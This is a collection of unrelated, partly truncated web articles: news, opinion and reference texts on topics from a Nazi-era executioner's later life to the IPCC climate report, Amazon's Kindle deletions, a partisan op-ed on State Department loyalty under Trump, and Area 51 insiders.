Landsberg am Lech. The technique required for this must have been known to him since 1942 at the latest, when he submitted a design proposal for British-style gallows with trapdoor (Long drop), which was rejected by the Reich Ministry of Justice (hanging, was by the Reichs-Law of 29 March 1933 introduced as an additional form of execution). With hanging executions during the Third Reich era, Reichhart had to work with the Austro-Hungarian short drop pole method of strangulation hanging (Würgegalgen [de]: strangulation gallows).[2]  In August 1945, Reichhart was denounced by the Munich city administration. He lived comfortably in a villa and had several cars. Formally, he was still a judicial executioner of the Free State of Bavaria without acting in this capacity.[2]  At the end of May 1946, Reichhart learned that he had executed two innocent people due to mistaken identity.[4] He subsequently retired as an executioner and served only as a consultant. He assisted American master sergeant John C. Woods in managing the gallows, and was commissioned by the United States Military Government to supervise the construction of the gallows in Nuremberg. On 16 October 1946, Woods hanged the war criminals convicted in the Nuremberg trials, assisted by Joseph Malta.[2]  Post-executioner life [ edit ]  In May 1947, Reichhart was imprisoned again. After a denazification trial process in Munich in December 1948, he was "incriminated" and sentenced to two years in a labour camp and confiscation of half of his assets. Following an appeal, the sentence was reduced to one and a half years and confiscation of 30% of his property. Since the prison sentence was settled, Reichhart was subsequently dismissed. Reichhart's activity made him a lonely person. His marriage failed. His son, Hans, dispirited by his father's occupation and the denazification trial, committed suicide in 1950.[2]  Impoverished and despised by many, Reichhart lived on a small military pension from the First World War. In 1963, during a series of murders of taxi drivers, when public demands increased for the reintroduction of capital punishment, Reichhart spoke out against the death penalty.[7]  Reichhart was temporarily confined in Algasing [de] psychiatric hospital.[2] He died on 26 April 1972, at a hospital in Dorfen, at the age of 78.  Miscellaneous [ edit ]  In early 2014, it was determined that a guillotine found at the Bavarian National Museum was probably the one which Reichhart had used to execute the Scholls.[citation needed]  References [ edit ]  Notes  Bibliography
-'Flying Doughnuts': Airbus Files Patent For A New Kind Of Plane  Enlarge this image toggle caption Espacenet Espacenet  Airbus has filed a patent for a new plane that looks decidedly more Star Trek Enterprise than airplane.  The Financial Times dubbed it "flying doughnuts."  According to the patent application, the craft would address a long-standing problem for plane designers — pressurized cabins, which stress planes on the front and back ends and require heavy, reinforced frames.  The patent says the new design would distribute that pressure in a way that would be more "economic and efficient."  Airbus says the design also has an additional benefit: Seating passengers in a circle, doughnut-style, allows for more fliers than the old-fashioned paper-towel-holder-with-two-wings.  "An approximately cylindrical geometry limits possibilities for increasing the passenger carrying capacity of the aircraft," the patent says.  Airbus spokesman Justin Dubon, though, told NPR that the design is not currently in production — and may never be. Dubon says the company files more than 600 patents every year.  "Some of these become the seed for other ideas with practical use," he says.  Still, Dubon says, "There are some very clever people here that have fantastic ideas. And who knows? Maybe one day they will come to light."  In the meantime, Airbus may want to start redesigning the drink carts to handle curves.
-A simple parking ticket can lead to a hold on your vehicle registration and threats to intercept California tax refunds. The $73 citations, which can spiral, if unpaid, to $175 or more, are the bane of many Angelenos' existence. They brought nearly $150 million to municipal coffers last year and are acknowledged to be a necessary stream of revenue for City Hall's budget. In essence, they're just another way to tax people without saying so.  This week a state lawmaker proposed mandatory parking-ticket payment plans for cities including Los Angeles. And yesterday, the Los Angeles Department of Transportation announced its own limited payment program.  The bill, by Assemblyman Tom Lackey of Palmdale, would "require local governments to create a monthly payment plan by which low-income drivers will be able to realistically pay their parking fines," according to a fact sheet from the Republican's office.
-UPDATE: Amazon issued a statement Friday night saying, "When we were notified of this by the rights holder, we removed the illegal copies from our systems and from customers' devices, and refunded customers. We are changing our systems so that in the future we will not remove books from customers' devices in these circumstances." However, the company did not touch on whether it would monitor more closely what books get uploaded as part of its self-serve system for publishers to avoid such circumstances altogether.  The press loves a juicy story, and Amazon served one up on a silver platter this morning by automatically deleting certain copies of George Orwell's 1984 and Animal Farm from customers' Kindles. But many facts were left out of this media frenzy, namely that the ebooks were essentially pirated copies sold for 99-cents by a company that had no rights to the material.  Amazon was able to remove the titles because the Kindle is configured to automatically sync up with the user's Bookshelf via the electronic book reader's WhisperNet wireless service. When the company removed the unauthorized books from customers' accounts, they also disappeared from the Kindle. Amazon then delivered a cryptic e-mail about what happened:  "We recently discovered a problem with a Kindle book that you have purchased. We have processed a refund to the payment method used to acquire this book. The next time the wireless is activated on your device, the problematic item will be removed. If you are not in a wireless coverage area, please connect your device to a computer using your USB cable and delete the file from the documents folder."  Naturally, the media went wild.  Amazon deleting books remotely? And the book in question being 1984, the dystopian classic where deep surveillance and censorship is the norm? It could only get more ironic if it was Ray Bradbury's Farenheit 451.  David Pogue at The New York Times hopped on the story early, claiming that "the publisher changed its mind about offering an electronic edition," and stated that Amazon "electronically deleted all books by this author." Pogue asserted that "Amazon...caved" on the matter.  The normally-reliable Harry McCracken at Technologizer wrote, "The books' publisher decided that it wasn't so hot on the idea of electronic rights after all."  TechCrunch went so far as to compare Amazon's action to burning books, writing that the retailer deleted "perfectly legal versions" of 1984 and Animal Farm. "Big Brother is in your Kindle. Watching," TechCrunch's MG Siegler wrote.  According to the NYT's Pogue, "it's like Barnes & Noble sneaking into our homes in the middle of the night, taking some books that we've been reading off our nightstands, and leaving us a check on the coffee table."  Oh, give me a break. Whatever happened to a little fact checking? I guess we don't bother with that when a juicy story can be used to drum up comments and pageviews.  I hate to be a party pooper ("Kindles" is now a top trend on Twitter with comments on this nearly every second), but let's get some facts straight before we compare Amazon to Big Brother:  The two books in question were published for the Kindle by a company called Mobile Reference, which offers public domain books for around $1. Mobile Reference did not have the right to sell Orwell's novels because 1984 and Animal Farm are still under copyright protection in the United States. They were not legitimate or "perfectly legal" copies of the books, but rather illicit copies that should not have been sold in the first place.  Contrary to what the New York Times reported, the publisher did not change its mind, nor did Amazon cave to pressure. Rather, Amazon was notified that copyrighted material was being sold on the Amazon store without permission and it removed said material.  In addition, the NYT's claim that Amazon deleted all works by this author is incorrect. In fact, there are still multiple copies of 1984 still for sale on the Kindle -- just not for 99-cents from a company that had no rights to do so. Other ebooks published by Mobile Reference that do fall under public domain are also still for sale.  This is not the first time such an event has happened. Amazon has had to perform widespread recalls from the Kindle at least two other times in the past, and the company sent out the exact same notification. Ayn Rand's books were put up on the Kindle Store without consent from the Ayn Rand Institute and had to be pulled down, while unauthorized copies of Stephenie Meyer's popular Twilight series had to be removed as well. Harry Potter and the Half-Blood Prince was reportedly offered for sale for a few hours on Monday, even though electronic versions of the books have not been authorized.  Of course, those titles don't invoke the delicious irony of Amazon lurking inside your Kindle and deleting 1984.  That's not to say that Amazon's actions were completely justifiable. The two ebooks may have been illegal copies, but they were purchased by the customer. In the real world, if you purchase stolen goods, you don't get to keep those goods, but you're also properly informed of the situation. This is where Amazon messed up.  Instead of being honest about what happened -- that it sold unauthorized ebooks and has done so in the past -- Amazon only told customers that there was "a problem." While removing such titles from a customer's Bookshelf and in turn deleting them from the Kindle may be standard policy, a lack of communication about what actually happened has led to a media firestorm that will surely last through the weekend. Amazon also could have offered customers a legitimate replacement copy of 1984 or Animal Farm and footed the difference, because in the end, this was Amazon's mistake.  Perhaps most importantly, this case and the others before it highlight a major problem with Amazon's Kindle Store. The retailer shouldn't have been selling copyrighted material in the first place, and it needs to take a serious look at its acceptance policies to prevent such occurrences in the future. By comparison, Apple has stringent reviews of all applications submitted to its iPhone App Store.  So is Amazon going to come take legitimate books off your nightstand because a publisher changed its mind, or even burn down your library as TechCrunch implies? No. But hopefully it will put policies into place on the Kindle Store so it won't need to recall unauthorized ebooks in the future.
-The U.S. Army general picked to lead U.S. and NATO forces in Afghanistan warns the security situation there is deteriorating despite a valiant effort by Afghan forces.  Lieutenant-General John "Mick" Nicholson told the Senate Armed Services Committee on Thursday that terror groups like Islamic State and al-Qaida continue to see Afghanistan as an attractive sanctuary. He warned the U.S. may need to take a more aggressive approach.  "We still see attempts by terrorist organizations to get into Afghanistan," Nicholson said. "Do we have the right level of CT [counterterrorism] capability to deal with that?"  Of particular concern to U.S. military and intelligence officials is the spread of the Islamic State group, which has sought to establish a sanctuary in Nangarhar province, and a resurgent al-Qaida in Kandahar province.  The Taliban have also re-emerged as a threat, briefly seizing the northern city of Kunduz last year while also taking key districts in Helmand province. There are concerns, too, that the Taliban have hopes of retaking their spiritual home in Kandahar.  Nicholson assured lawmakers he would not let the U.S. sit idly by.  "We need to prevent Kandahar from falling into the hands of the Taliban," Nicholson said, adding he would "absolutely" recommend using U.S. military force to prevent the Taliban from retaking the provincial capital.  If approved by lawmakers, Nicholson would take over as the commander for U.S. and NATO forces in Afghanistan from Gen. John Campbell, who is expected to retire.  ‘Crisis situation’  The U.S. currently has about 9,800 troops in Afghanistan for counterterrorism activities and to train and advise Afghan security forces. But that number is expected to drop to about 5,500 by the end of the year, worrying lawmakers.  "I believe we are in a crisis situation," said Senate Armed Services Committee Chairman John McCain, a constant critic of the Obama administration's Afghanistan policy. "It makes no strategic or military sense to continue the withdrawal of American forces."  Republican Senator Kelly Ayotte also expressed alarm at the way the administration has telegraphed troop levels in Afghanistan to U.S. enemies.  "This has been a constant kabuki dance," Ayotte said. "We cannot afford to take on risks that allow obviously safe havens, again, for al-Qaida and ISIS engagement."  Nicholson said that, if confirmed, he would review U.S. troop levels during his first 90 days in command and make an appropriate recommendation, warning he saw the need for a long-term commitment.  Realistic expectations needed  But he also said the U.S. needed to have a realistic expectation of what can be achieved.  "This is Afghanistan. There will always be some level of violence in Afghanistan," Nicholson said.  "We're not trying to create a Western-style society here," he added. "We are looking at an adequate level of security to prevent the re-emergence of transnational terrorist threats."  Nicholson is currently the commander of NATO's Allied Land Command, based at Izmir, Turkey. He has served several tours of duty in Afghanistan and also commanded the 82nd Airborne Division and a company in the Army's 75th Ranger Regiment.  Lawmakers praised Nicholson for his experience.  Nicholson's nomination could go before the full Senate for vote as early as next week.
-The Hunt for Engineers: Expensify and the surprisingly difficult challenge of finding the right people  As many of our regular readers have probably noticed, we’ve been mentioning here and there for quite some time that we are in the market for new employees. And as we’ve said before, we’re taking a drastically slower route toward hiring than many startups do. But we’re being extra picky about who we hire, because we’re trying to preserve two things that are very important to us:  the integrity of our product, and  the corporate culture we’ve very carefully crafted  In other words, not just any Computer Science major will do. In fact, we don’t even care if you have a college degree. We don’t care if you’re a U.S. citizen.  What we do care about?  a great work ethic, almost to the point that some of your friends might call you masochistic. We work long, hard hours doing what we love, and if you’re the kind of person who wants to clock out at 5:00 or spend half the day surfing LOLCats, this isn’t the place for you.  a great character: fair, honest, with a decent sense of humor, and absolutely zero drama. Please, we get enough drama from watching Dexter.  talented and fast at picking new things up: you should be technologically multilingual, with the kind of intellectual flexibility that would make Neo’s bullet-avoiding backbend in The Matrix look like your grandma doing the limbo on a geriatric cruise. This doesn’t just apply to programming, though we demand a high level of talent and capability in that arena, for sure: what else are you good at? Can you speak in front of a group? Explain multiple step processes to your luddite relatives? Make a mean seven-layer dip? In essence, what else are you bringing to the table?  ambition: you’ve got to have it. We don’t want Expensify to be your final resting place; that’s just not how this industry works. We want people who are mobile, constantly looking for a next great project, working on side projects of their own, and with big plans for the future. And we want to help you get there, too.  Generally, we’ve found that our best applicants also have the following in common:  programming experience from way before their college years  a zest for adventure – everyone on staff is a world traveler, and have what one of our engineers referred to as a “willingness to get into trouble”  curriculum vitae that extend far beyond the classroom and the office: your most impressive work was probably done for the fun of it, anywhere from a junior high school bedroom to an exotic beach somewhere (our preferred location)  The point we’re trying to make is: the expectations are high, but the rewards are higher, and if you think you’ve got what it takes, we’d love to hear from you. We’ll sponsor a visa, buy your lunches, and propel your career to the next level – if you’re the right fit.
-The fifth assessment report from the IPCC looks at everything from oceans and sea ice to carbon budgets and geoengineering  Global change  The global climate has already changed in many ways that are unprecedented in the past hundreds or thousands of years, the world's scientists and governments concluded in the new report from the Intergovernmental Panel on Climate Change. These changes have affected every region of the globe, on land and at sea. Continued carbon emissions will drive further heatwaves, sea level rise, melting ice and extreme weather. The changes will last for centuries and limiting the effects would require "substantial and sustained" cuts in carbon dioxide, the scientists report.  Temperatures  Scientists are now at least 66% certain that the last three decades are the warmest in 1400 years, with global temperature having risen by 0.9C in the last century. However, more than 90% of the heat trapped by greenhouse gases is being stored in the oceans.  By mid-century, scientists predict a further rise of 1.4-2.6C if carbon emissions continue to rise as they are today. If emissions were halted almost immediately and significant carbon was extracted from the atmosphere, the rise by mid-century would be 0.4-1.6C.  The scientists predict the average temperature between 2080 and 2100 will be 2.6-4.8C higher than today if emissions are unchecked. They are 90% certain that heatwaves will be more frequent and longer.  In the oceans, the strongest surface warming is expected in tropical and sub-tropical regions, up to 2C by 2100 and posing a grave threat to coral reefs which sustain much sealife. Scientists conclude that a collapse of the Gulf Stream that warms western Europe, as dramatised in the film The Day After Tomorrow, is very unlikely this century but cannot be ruled out afterwards.  Oceans  Global sea level has already risen by 20cm in the last century and scientists are now 90% certain that the rate of the rise will increase. The tide line is rising as warming glaciers and ice sheets pour hundreds of billions of tonnes of water into the oceans each year, but an equally big factor is the warming – and therefore expansion – of the seawater itself.  The new projections for the average sea level in the period 2080-2100 are greater than in the 2007 report, ranging from 45-82cm higher than now if nothing is done to curb emissions to 26-55cm if carbon emissions are halted and reversed. In the former case, sea level could have risen by a 98cm by the end of the century, seriously threatening cities from Shanghai to New York and meaning hurricanes and cyclones inflict far worse damage when they hit shorelines.  Sea level projections have been controversial because exactly how fast glaciers and ice sheets will slip into the sea is not well known. A collapse in ice sheets is therefore not included in the estimates and could add tens of centimetres more to the rise. Because the big Greenland and Antarctic ice sheets are slow to melt, scientists predict melting and sea level rise will continue for centuries. If a temperature rise of between 1C and 4C is sustained, the vast Greenland ice sheet will completely melt adding 7m to sea level, scientists predict, but over the course of a millennium.  The acidity of the ocean is also increasing, due the large amounts of carbon dioxide it is absorbing, and this will continue. This will harm shell-forming sealife but scientists are still determining to what extent.  Ice  The impact of warming is crystal clear in the faster rates of melting in virtually all the world's glaciers and the huge ice sheets in Greenland and Antarctica. The ice sheets have been shedding at least five times more water in the 2000s than in the 1990s, the scientists report. Northern hemisphere snow cover has fallen by 11% a decade since 1967 and the temperature of the seasonally frozen ground, or permafrost, has increased by 2-3C in Russia and Alaska.  Arctic sea ice has been melting by 9-14% a decade since 1979, while sea ice around Antarctica has been increasing by 1-2%, probably due to current changes.  Scientists are 90% sure that Arctic sea ice, snow cover and glaciers will continue to shrink. The scientists say a "nearly ice-free" Arctic ocean in September is at least 66% likely before 2050. By 2100 between 35% and 85% of the remaining world glacier volume will have vanished if emissions are not cut. Permafrost is also 99% likely to shrink further.  Extremes  It is 90% certain that the number of warm days and nights has increased globally and heatwaves have become more frequent, lasting longer in Europe, Asia and Australia. Droughts have also become more frequent and intense in the Mediterranean and west African regions.  The number of heavy rainfall events over land has increased in more regions than it has decreased. It is virtually certain that the frequency and intensity of the strongest tropical cyclones in the North Atlantic has increased since the 1970s.  The scientists concluded it is 99% certain that the frequency of warm days and warm nights increases in the next decades, while that of cold days and cold nights to decrease. The frequency and intensity of extreme downpours is very likely to increase in many populous regions.  Pause  The last decade has been the warmest on record but although CO2 concentrations in the atmosphere have continued to accelerate, surface air temperatures have only marginally increased in the past 15 years, leading some to suggest global warming has stopped. The IPCC scientists reject this, reporting that while the warming trend is robust over decades, there is "substantial" variability within decades. They conclude: "Trends based on short records ... do not in general reflect long-term climate trends."  They add that the heat being trapped by global warming in 2011 was 43% more than the estimate for 2005 in their last report and that over 90% of all the heat added enters the oceans.  Carbon budget  Scientists calculate that nearly half of all the carbon dioxide that can be safely emitted without raising temperatures above a dangerous 2C has already been emitted. This, says the IPCC, means governments must act quickly to have a reasonable change of avoiding 2C. It is also very likely that more than 20% of emitted CO2 will remain in the atmosphere longer than 1,000 years after man-made missions have stopped. According to the IPCC, a large fraction of climate change is thus "irreversible on a human time-scale", except if man-made CO2 emissions are sucked out of the atmosphere over a long period.  Geoengineering  The scientists report that "geoengineering" the climate by reducing the amount of sunlight being absorbed by earth or by extracting and storing carbon dioxide and other climate-changing emissions is theoretically possible. But, the IPCC warns, there is insufficient knowledge to assess how effective such methods, such as pumping sunscreen chemical into the stratosphere, would be and warns of "side effects and long-term consequences on a global scale."  Abrupt change  It is "very likely" that the so-called Gulf Stream, which ferries warm water to western Europe, will weaken over the 21st century. But it is "very unlikely" to collapse or undergo a major transition this century. Further warming will lead to significant methane emissions from permafrost over the next century, equivalent to 50 to 250 billion tonnes of CO2. But the IPCC scientists do not assess the possibility of catastrophic releases this century.  Uncertainties  In terms of data, information is still limited in some locations and especially from before 1950s. There is also limited data from oceans below 700m.  Theoretical uncertainties are how pollution affects cloud formation and the planet's overall climate "sensitivity", ie how much it responds to extra CO2 in the atmosphere. The new report slightly reduces the minimum climate sensitivity but at the report's launch event, co-chair Thomas Stocker said that change, if realised would slow the impacts of climate change by just a few years.  There is uncertainty about the contribution of human activity to changes in tropical cyclones and droughts.  Other explanations of warming  The scientists state: "It is extremely likely that human influence has been the dominant cause of the observed warming since the mid-20th century." The report rules out any significant contribution from changing solar cycles, volcanoes and cosmic rays.
-Just as François Hollande's cash-strapped government pulls the plug on a score of expensive French state arts projects launched by his rightwing predecessor, one exorbitant aluminium structure has bucked the trend.  Paris's futuristic new classical concert venue, the Philharmonie de Paris – a vast metal construction which promises to transform the northern Paris skyline – is on track to become one of the world's most expensive concert halls despite attempts by some politicians to block it because of its spiralling price tag.  State auditors have also expressed gripes, but the government has decided the building work is so far advanced that nothing can halt the cultural juggernaut. It is likely to open its doors, two years late, in 2015, after delays, suspension, rows and rocketing budgets – and after having more than doubled in cost to a staggering €387m (£316m).  The 2,400-seat concert hall will sit in the Parc de la Villette, on the north-east edge of Paris, near the city's peripheral ring road and the grey dual carriageways that lead to the rundown suburbs.  Its creators argue that it will not only end Paris's long-running shame about its lack of purpose-built classical music venues to match Berlin or London, but it will revolutionise attendances by attracting, young, "non-elitist" classical concert audiences.  The extravagant metal-encased building, likened to a stack of giant paving stones reflecting the city, is the latest Paris creation by the French "starchitect" Jean Nouvel, whose previous designs include the Institut du Monde Arabe and the controversial Quai Branly ethnographic museum.  He has described the Philharmonie as "the most prestigious project" of his career. The planned metal-clad roof is likened to a hill which visitors can climb. The 52m (170ft)-high aluminium slab at the top, which will have the concert listings projected on it, will be visible from the ring road so people sitting in traffic on the famously drab, grey motorway can see what's on.  But French state auditors have warned of the "exorbitant inflation in costs" of the project that is publicly funded by the state and the city of Paris. Another senate report complained of a "worrying drift" in the budget, asking whether the project really had to be so "grand" and did Paris really need it?  The green party in Paris angrily abstained from a vote to grant more city cash, warning of a "bottomless pit" for the public purse in a time of financial crisis. Paris city hall defended the project as "more than just a concert hall", calling it a daring and necessary bid to renew classical music audiences.  While several other cultural projects are to be shelved, including Nicolas Sarkozy's controversial pet project for a new national history museum, the Socialist Hollande might now end up having to borrow Sarkozy's own cultural catchphrase uttered in defence of the criticised exorbitant state funding of the Philharmonie: "Who can argue that in this time of crisis we don't need music?"  • This article was amended on 10 January 2013 because the original said Philharmonie de Paris is on track to become the world's most expensive concert hall. This has been corrected to say one of the world's most expensive concert halls.
-Secretary of State Tillerson speaks to employees on his first day. (Photo: State Department/Flickr)  It’s not the role of American diplomats to join the resistance against Trump.  This week David A. Rank, the charge d’affaires at the U.S. embassy in Beijing, did the right thing. Finding himself unable to carry out his duties in support of the policies of the elected government of the nation he serves, Rank resigned. On the other side of the world, another career Foreign Service officer did the opposite. Lewis A. Lukens, the charge d’affaires in London and currently the acting ambassador, tweeted his support of London mayor Sadiq Khan in the midst of the president’s cross-Atlantic Twitter spat with the mayor.  Advertisement  Advertisement  Unfortunately, many Americans will draw the wrong conclusions from the actions of these two men. Even those who disagree with his decision should respect Rank’s willingness to give up his job on a point of principle. Lukens may also get cheers, but he deserves none. Going out of his way to support Khan when Trump was exchanging barbs with him was more than a mistake. No matter what you think of Trump, when a U.S. diplomat inserts himself into such a dispute it’s a violation of the trust that the nation places in its representatives to loyally represent its government.  But the dilemma facing the State Department today may not be so much the actions of two men who have paraded their political disagreements with the president in public. The real problem may be those in the Foreign Service who are staying at their posts and off Twitter but may also be carrying out their duties with a lack of enthusiasm or with willful disobedience that will undermine Washington’s ability to act.  Advertisement  That liberals predominate among federal employees is not exactly a secret. That career Internal Revenue Service staff — acting either on their own or responding to clear signals from the Obama administration — chose to discriminate against conservative groups applying for non-profit status is a matter of record. But if many pockets of the federal bureaucracy tilt left, that is also true of the department tasked with carrying out the orders of the executive with respect to foreign affairs. In January, 1,000 State Department staffers signed a cable protesting Trump’s original travel-ban order. But, unfortunately, the problems in the Foreign Service go beyond such flamboyant, and clearly inappropriate, gestures. As the New York Times reported this week, tension between the White House and senior levels of the diplomatic corps is rising. If true, this is troubling because if senior personnel — people who have served under both Republican and Democratic administrations and who should be setting an example of apolitical behavior — are ready to step outside their lane and demonstrate their opposition to the government of the day, that raises the possibility that the president can no longer count on the loyalty of the Foreign Service.  It also feeds the sense on the part of some administration supporters that the flood of illegal leaks of classified information designed to embarrass Trump from government employees to the press is more than Washington business as usual. Monday’s indictment of an intelligence contractor who is alleged to have distributed National Security Agency documents to journalists is just the tip of the iceberg. What is happening now may be a symptom of an open revolt in which government officials join the “resistance” against Trump in a manner that resembles a coup in a banana republic more than the workings of American democracy.  Advertisement  Advertisement  Talk of a “deep state” seeking to thwart Trump sometimes tells us more about the grievances and complexes of alienated conservatives making this charge — especially those who fall under the rubric of the alt-right — than anything else. But when diplomats start acting like free agents rather than like the voice of those who were elected to set foreign policy, the notion of a conflict between career civil servants and those chosen to run the government stops being a paranoid fantasy.  It is true that in terms of his behavior and his views Trump is not a typical president. There is nothing irrational, let alone dishonorable or illegal, about opposition to any number of his positions, including his stance toward NATO, trade, the Middle East, and even immigration. But setting policy is still the purview of the president, not the civil service.  Advertisement  As for Lukens, those who claim that in a normal administration praise for a mayor of a city in an allied country beset with terrorism would be the default reaction of U.S. diplomats are missing the point. Lukens is no novice. He was undoubtedly aware of the president’s statements about Khan. Trump’s tweets may be another example of the president’s astoundingly poor judgment. But it is not the job of the acting U.S. ambassador to Britain to correct or show up his boss. If Lukens and any other career Foreign Service officers feel they can’t serve Trump, then they should emulate Rank and resign. If not, they should keep their mouths and social-media accounts shut.  Advertisement  Perhaps many on the left as well as those who work inside the government feel that Trump is the exception that proves the rule and that they are morally justified when they seek to sabotage his administration. Perhaps others believe they should act to save a wayward leader from self-sabotage or from the consequences of his own folly. But whether or not they are right about Trump, he has the right to expect the Foreign Service to serve him as loyally as it did his predecessors. A nation whose government employees feel empowered to act against the government of the day ceases to be a democratic republic and starts down the road to tyranny and chaos.  Advertisement  Let’s admit that part of the current situation in the Foreign Service is the result of many important posts remaining unfilled more than four months into Trump’s administration. That’s helped create a vacuum in the carrying out of U.S. foreign policy that Secretary of State Rex Tillerson is struggling to deal with. Some of this problem is due to congressional Democrats’ slow-walking all presidential appointments and jamming up the confirmation process. But the lion’s share of the blame belongs to a White House that appears to be unable to get its act together and vet all of the appointments that need to be made amid the chaos and infighting that currently reigns in the West Wing.  Foreign Service officers may have enjoyed their jobs more when they were carrying out President Obama’s will, but Trump’s mandate is no less legal.  But the inability of the administration to put men and women willing to follow Trump’s orders in place is no excuse for the Foreign Service to go rogue. They may have enjoyed their jobs more when they were carrying out President Obama’s will, but Trump’s mandate is no less legal. More to the point, following his orders is not optional.  Advertisement  As with the leaking of classified material, opinions about State Department sabotage of the White House tend to depend on where you stand on the political spectrum. Anyone who leaked information to expose Obama’s push to appease Iran or otherwise obstruct his plans would have faced no mercy from that administration and its supporters while being cheered by many on the right. But now that the shoe is on the other foot, State Department and NSA workers who play that game with Trump are being lauded as patriots by the Left while being decried as traitors by the Right.  But the principle ought to be the same no matter the policies or the president. It’s up to the voters to decide who runs the government and whether elected leaders should be replaced, not the bureaucrats or the diplomats who serve them. Government employees that work to undermine the president should be fired, and if their misbehavior involves violating security laws, prosecution is fully justified. Trump notwithstanding, mutiny in the State Department cannot be tolerated, let alone cheered for partisan reasons.  Advertisement  READ MORE:  Donald Trump’s Evangelical Critics Have a Moral Superiority Complex  National Review’s Dennis Prager Responds to Anti-Trump Critics  Donald Trump & Jeff Sessions’s Newfound Resentment
-Twitter and Facebook know that hordes of soccer fans will head online to talk about the World Cup this week, and both social networks want to be home to the conversation. They're each rolling out hubs and features dedicated to the World Cup, giving fans easy ways to follow along and show that they're watching.  Hashflags, trending hubs, and match scores  Twitter is even starting right with its sign-up form, giving people who make new accounts the ability to choose their team's flag as their profile image. But the highlight of Twitter's World Cup features is its dedicated timelines, which pull together tweets from major sources on the games.  You'll soon be able to access one major timeline just by looking for #worldcup, and from there, find links to all of the teams' accounts and scoreboards for each game. There are custom timelines for each individual match too, if you want to follow along even more closely. Finally, Twitter's bringing back what it calls Hashflags: when you hashtag a three-letter country code, such as #FRA or #GER, the country's flag will appear as an image right beside it.  Twitter's Vine video-sharing service also has a World Cup hub of its own — much like the Twitter hub, the Vine hub is focusing on videos created on location at the games and content from "key sources" in Brazil throughout the next month. While Vine's focus on video makes this a natural destination, we imagine a lot of World Cup fans will want to see more than six-second clips.  Facebook is taking a fairly similar approach. It's put together a hub called Trending World Cup, which also includes scores and news from the matches and a feed of posts from teams and players. Your own friends' posts will show up in the hub too, which will be accessible straight from Facebook's Trending area on the News Feed. Once the games start, people will be able to post what they're watching too by using the smiley icon that's used for sharing what you're doing.  In addition to the hub, Facebook has also put together an interactive map showing where fans of some of the World Cup's top players come from. The map is fairly simple and seems to be tapping into whoever follows these players' pages on Facebook, but the map lets you break down where those people are coming from by country and by city. Even if you might have guessed which countries like which players the most, it can still be interesting to explore.  Not to be left out, Google is also offering its own resources for keeping up with the World Cup. In addition to the stadium street view features Google announced last week, the company is also launching a special World Cup Google Trends page that will collect the "players, teams, and moments that are capturing the world's attention." Google Now and Google Search have also been tweaked to give quick access to World Cup results for those that want them, as well.  Update, June 11th, 2:45PM ET: This post has been updated to include information on Vine and Google's World Cup hubs.
-“We asked partners to pinpoint the factors underlying the pay differences,” said Jeffrey A. Lowe, who heads Major, Lindsey’s law firm business, “and the No. 1 factor was origination,” or who receives credit for bringing a legal matter to the firm.  Rainmaking, or attracting legal work from clients, has always been a top factor in lawyer earning power, and is continuing to grow. The average origination amount, according to the survey, was almost $2.5 million, and that amount was up 25 percent from two years ago. Typically, lawyers’ annual compensation is tied to the amount of business they bring.  “We found that, predominantly, a partner’s compensation is tied to bringing in business to the law firm,” Mr. Lowe said.  Women partners, the report found, brought in an average of $1.7 million worth of business compared with the $2.6 million average of their male counterparts. Because there are more male partners, the average skews higher than if there were equal gender representation. Two years ago, women brought in $1.2 million worth of business, and male counterparts chalked up $2.2 million.  The lag in pay for female partners in either attracting business or getting credit for it could stem from several factors. One is that the “old boys network” still has an outsize influence because of connections made in law school or earlier that affect who is hired to handle their corporate legal matters.
-Populux, a venue in Detroit, has closed its doors for the immediate future, according to The Detroit News. The owners have launched an investigation into who posted a pair of racist messages to its Twitter account today. According to a spokesperson for Majestic Theatre, the complex where the venue resides, Populux will be closed “at least a week” while the investigation takes place. The owners have filed complaints with the F.B.I. and the local internet crimes task force in an attempt to identify the perpetrator.  After the tweets went live, the venue faced immediate backlash from locals and artists, including Vic Mensa, who said he was canceling a scheduled performance at the venue due to the tweets. Other musicians followed suit. The messages were then deleted, and followed by an apology in which Populux claimed it had been hacked. The venue's Twitter and Facebook accounts have been taken down in the aftermath. RiFF RAFF was also scheduled to perform at Populux later this month.
-The Road to Area 51  .. Built in Burbank, the OXCART needed cumbersome transport to Area 51, with road signs removed, road banks leveled and trees axed. After decades of denying the facility's existance, five former insiders speak out  by Annie Jacobson for the LA Times  April 2009 Area 51. It's the most famous military institution in the world that doesn't officially exist. If it did, it would be found about 100 miles outside Las Vegas in Nevada's high desert, tucked between an Air Force base and an abandoned nuclear testing ground. Then again, maybe not-- the U.S. government refuses to say. You can't drive anywhere close to it, and until recently, the airspace overhead was restricted--all the way to outer space. Any mention of Area 51 gets redacted from official documents, even those that have been declassified for decades. It has become the holy grail for conspiracy theorists, with UFOlogists positing that the Pentagon reverse engineers flying saucers and keeps extraterrestrial beings stored in freezers. Urban legend has it that Area 51 is connected by underground tunnels and trains to other secret facilities around the country. In 2001, Katie Couric told Today Show audiences that 7 percent of Americans doubt the moon landing happened--that it was staged in the Nevada desert. Millions of X-Files fans believe the truth may be "out there," but more likely it's concealed inside Area 51's Strangelove-esque hangars--buildings that, though confirmed by Google Earth, the government refuses to acknowledge. The problem is the myths of Area 51 are hard to dispute if no one can speak on the record about what actually happened there. Well, now, for the first time, someone is ready to talk--in fact, five men are, and their stories rival the most outrageous of rumors. Colonel Hugh "Slip" Slater, 87, was commander of the Area 51 base in the 1960s. Edward Lovick, 90, featured in "What Plane?" in LA's March issue, spent three decades radar testing some of the world's most famous aircraft (including the U-2, the A-12 OXCART and the F-117). Kenneth Collins, 80, a CIA experimental test pilot, was given the silver star. Thornton "T.D." Barnes, 72, was an Area 51 special-projects engineer. And Harry Martin, 77, was one of the men in charge of the base's half-million-gallon monthly supply of spy-plane fuels. Here are a few of their best stories--for the record: On May 24, 1963, Collins flew out of Area 51's restricted airspace in a top-secret spy plane code-named OXCART, built by Lockheed Aircraft Corporation. He was flying over Utah when the aircraft pitched, flipped and headed toward a crash. He ejected into a field of weeds. Almost 46 years later, in late fall of 2008, sitting in a coffee shop in the San Fernando Valley, Collins remembers that day with the kind of clarity the threat of a national security breach evokes: "Three guys came driving toward me in a pickup. I saw they had the aircraft canopy in the back. They offered to take me to my plane." Until that moment, no civilian without a top-secret security clearance had ever laid eyes on the airplane Collins was flying. "I told them not to go near the aircraft. I said it had a nuclear weapon on-board." The story fit right into the Cold War backdrop of the day, as many atomic tests took place in Nevada. Spooked, the men drove Collins to the local highway patrol. The CIA disguised the accident as involving a generic Air Force plane, the F-105, which is how the event is still listed in official records. As for the guys who picked him up, they were tracked down and told to sign national security nondisclosures. As part of Collins' own debriefing, the CIA asked the decorated pilot to take truth serum. 